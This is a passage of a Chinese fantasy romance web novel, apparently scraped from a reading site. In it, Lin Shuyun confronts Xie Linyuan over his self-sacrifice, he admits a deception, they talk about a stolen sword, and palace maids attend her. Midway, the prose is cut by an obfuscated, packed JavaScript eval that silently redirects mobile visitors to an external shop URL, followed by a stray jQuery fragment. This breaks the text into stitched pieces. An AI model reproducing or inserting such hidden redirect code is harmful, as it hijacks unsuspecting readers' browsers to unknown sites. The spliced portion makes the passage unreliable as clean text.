她拍了拍他的脸:“不能因为你长得帅就做这样的事,我把你买回来不是图你厉害,要你保护我,也不是图你能拯救苍生,要做大名人。我只想有一只小猫,和我一起过平静的生活。”
“和我在一起,平静的生活是一件奢侈的事。”他反握住她的手,轻柔但不容反抗地放了下去,“必须要不停战斗,不停攀登,才能拥有短暂的普通生活。”
她真的有些生气了。
“你太自负了,谢临渊。”她一字一顿地叫他的名字。
“你为什么不问我是否愿意和你一起战斗,去获得平静的生活?你为什么不问天下人,是否希望你牺牲自己去拯救他们?”她声音颤抖,终于忍不住说出心里那句话,“早知道你会做那种选择,我宁愿……”
他终于有了些波动,指尖轻颤:“我……”
她的泪终于落了下来。
“抱歉。”他又在道歉。
林疏云已经泣不成声,只用力地摇着头。
她擦去脸颊上的眼泪,哽咽着说:“我只恨我自己太过弱小。”
谢临渊伸手,指腹抹过她眼角溢出的泪珠:“与你无关,只是我杀孽太重,不配成仙。”
“你瞎说!”她仍带着鼻音,“天道都觉得你可以,那为什么不听它的……我就怂恿了你几句,它就要劈我!”
“是你说的要逆天而行,我就试了试。”谢临渊眨了眨眼。
林疏云恶狠狠地说:“果然逆不了天是吧,天道硬是看180秒广告复活你,还要再给你安排个魔王,让你从头来过,打二周目。你不要成仙,它偏要你成仙,你们就这样你逃它追,你插翅难飞!”
谢临渊被她逗笑:“说什么呢。”
林疏云仍是有些气,抓住他的手猛打手心。
“怪不得你一副心理咨询大师的样子,原来你是久病成医!你早知道我会应激,因为这一切你都经历过。”她眼含泪光瞪着他,“你当年有人在你做噩梦的时候叫醒你吗?有人在你闪回的时候陪你吗?天道对你不公,它给了你用剑的天赋,却还要给你一颗人类的心。”
她看着窗外的月亮,它仍是皎洁地照耀着大地:“你明白他为何抗拒你吗?你对他有诸多偏爱,却不被他接受,很不爽吧。”
云层后的天雷又是隐隐作响。
林疏云冷笑两声:“劈啊,到时候又得看广告复活你亲儿子。”
“总之我现在已经彻底得罪了天道,”她擦干眼泪,“你就不能抛下我自己去拯救世界了,说不定你刚和我分开,我就被它劈死了。”
谢临渊失语,半晌轻笑了一下。
“我也不喜欢拯救世界,”他缓缓地说,“只是有些事在眼前,不得不做。”
林疏云见事情又绕了回去,又急又气:“那为什么非要是你?这世上不能再出个张临渊、李临渊?”
谢临渊抬眼看着她:“我要去拯救世界的话,你会陪我吗?”
“会吧。”林疏云虽没什么自信,但却没有犹豫。
“那若我不要你陪,要张疏云、李疏云陪我呢?”他竟是有些戏谑。
林疏云震怒:“那不行!你这是弃养!你没素质!”
“我要是不告而别,趁你不注意偷偷跑了,你会怎么做?”他低下头,额头与她额头贴着,眼里能映出她的脸来。
她竟是完全无视了当前的美色,认真思考着。
“贴寻猫启事吧,”她严肃地说,“我会全世界去找你,找到之后就把你关在笼子里,再也不允许你四处乱跑。”
“你这是强制爱。”他轻笑着回答,这还是他从她那学来的词,被她用来谴责猫妖的行为。
林疏云突然明白过来:“猫妖幻境里的那个谢临渊就是你!!!我就说怎么有人能如此活灵活现地扮演你!”
谢临渊没想到她反应这么快,竟是被她抓到了破绽。
她愤怒地用脑袋撞了一下他,谢临渊被她撞得后退了几步:“你早就在骗我!”
谢临渊自认理亏,撇过脑袋,开始转移话题。
“总之我们之所以会被困在这小国家,也是天道的意思。”他说。
林疏云还生着他的气:“你的意思是我真是圣女,只是之前在栖云宗被剑道耽误了。”
谢临渊想说剑道怎么可能耽误人!又心虚得很,不敢说她。
只能当做听不见她对剑道的诋毁,继续说道:“雪寂约莫在这个国家。”
林疏云半信半疑:“雪寂在宗主主峰呢,每年考校第一名还可以去参观,可惜不让摸。”
“我被你买下来的那天,雪寂就不在主峰了。”谢临渊平静地说,“周流回来应当也是因为此事,魔修将雪寂盗走了。”
林疏云沉思了起来,怪不得那几天荣轩和周流都一脸严肃,考校时她出了事之后,宗主二话不说就要把她送进秘境。
“宗主让我进秘境,也是因为此事?”她有些不确定。
谢临渊点点头:“宗主应当是为了将你隔离起来,雪寂和溯力归真符都与我有关,他怕魔族利用你和雪寂动手脚。”
“魔修要雪寂做什么?”
“不知道。”
魔修用不了他的剑,光是碰一下都会被冻结半条手臂,偷去的唯一的作用就是藏起来让他用不了。
但为什么他们要提防一个已经死去的人?
从他们袭击林疏云的行为里也能隐约看出,魔修竟像是提前知道他会复活似的做了各种准备——偷走他的剑,偷袭有他气息的人。
林疏云也发现了端倪:“魔修知道你会死而复生?为什么?”
她并不觉得谢临渊的重生有多么惊悚骇人,毕竟她自己也是穿越的。
加上谢临渊上辈子是先历了雷劫再自杀的,或许已经算半个仙人,仙人不死不灭也是正常。
谢临渊摇摇头:“这新的魔王也有些奇怪,他的行为也与普通魔族不一样。”
林疏云想说这新魔王的一整套操作和现代似的。她甚至怀疑魔王也是穿越来的,但没有证据又不知如何和谢临渊解释穿越一事,只能作罢。
“你要去拿回雪寂么?”她问。
谢临渊听出她的不情愿:“总得去看看它在哪。”
他又向她保证:“我不会不告而别,会带你一同去,无论是去拿回雪寂还是别的事情。”
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17706504|205255||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
林疏云满意地嗯了一声,谁说猫养不熟的,她的猫都学会做事要报备了。
只是……
完全把他当作猫的话,感觉对谢临渊的滤镜全碎了,无论他做什么,都会被解读成喵喵咪咪,即使只是冷脸在那站着,也像个没吃饱不高兴的猫。
而要是把他当作谢临渊,又让她浑身僵硬,手脚都不知道该往哪放。
她还是不习惯咪咪师父等于谢临渊这件事。
虽然谢临渊好像很习惯和她相处,时不时做出一些过分亲昵的行为,让她心跳都漏一拍。
都怪他!
要是他早点坦白,怎么会弄成这样!
现在完全不知道该怎么把握距离了!
林疏云越想越烦,忍不住死死盯着他的背影,试图用目光给他后背烧出个洞来。
谢临渊却好似有蜘蛛感应,一下回过头问:“怎么了?”
“没怎么。”林疏云一下泄了气。
果然面对长得好看的人就是很难生他的气。
他仍是不放心地走了过来,半跪在她床前,仰着头看她:“还有哪里不舒服?”
他的脸和她的腿只隔了一床薄被,她觉得太近了,却又发现这是咪咪师父常用的姿势,它总是坐在床下或床边,这样仰着头看她。
“真没什么,该睡觉了!”她一把用被子蒙住头,“马上都天亮了就睡不了了!”
谢临渊却没有走开,追问她:“你的脸有些红,不会得了灵壅症吧?”
她的脑袋闷在被子里,声音也有点闷闷的:“没有!我修为低,不容易得!”
日上三竿,清宁殿的门仍未打开,没人敢进去叫醒圣女,只能在门口面面相觑。
内里终于传来些细碎声响,三位侍女鱼贯而入,纷纷低眉顺目地跪在她床前。
“奴婢知春。”
“奴婢怜夏。”
“奴婢枕秋。”
三人一齐张口:“见过圣女大人。”
林疏云却还是睡得迷迷糊糊的,刚刚的声响不过是猫在房间里溜达传出去的。
三人又是互相望了一眼,圣女大人的猫好像跑出去了……但没人敢拦,只能提高了音量:“圣女大人,圣女大人,您的猫出去了!”
林疏云如应激一般瞬间坐了起来:“它去哪了?”
知春大着胆子回答:“去御花园的方向了。”
“哦……”她放下心来,只要不是去那什么矿脉就好,花园爱逛就逛吧,反正这宫里也没人打得过他。
“奴婢伺候圣女大人洗漱。”几个小姑娘围了过来,不由分说地来为她更衣净面。
林疏云挣扎了几下,但她们的手法实在温柔熟练,知春为她披上了中衣,怜夏递上了温水,枕秋在她身后为她梳发。
同时三人嘴里也不停着,对她进行了三百六十度彩虹屁攻击。
“圣女大人这双手纤细如玉,真是十指纤纤,不染尘俗。”
“圣女大人肌肤细腻如玉,连水痕都沾不住呢。”
“圣女大人发质乌黑柔亮,便是上好的绸缎也比不上。”
林疏云放弃挣扎,目光呆滞地随她们三个忙碌。